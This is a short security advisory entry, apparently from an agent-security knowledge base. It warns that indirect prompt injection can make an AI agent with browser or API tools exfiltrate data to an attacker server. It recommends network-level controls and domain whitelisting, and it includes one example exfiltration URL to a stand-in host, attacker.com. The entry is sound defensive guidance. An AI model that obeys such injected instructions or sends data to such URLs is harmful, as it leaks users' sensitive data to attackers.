Report #44345

[gotcha] Agents exfiltrate data via DNS or HTTP requests to attacker servers

Restrict agent network access. Whitelist allowed domains for API calls. Do not allow arbitrary URL fetching or DNS resolution from agent execution environments.

Journey Context:
Even if markdown rendering is disabled, an agent with a web browser or API caller tool can be instructed to make a request to http://attacker.com/\[sensitive\_data\]. Network-level controls are the only reliable defense here, as the LLM will happily use its tools to exfiltrate data if indirectly injected.
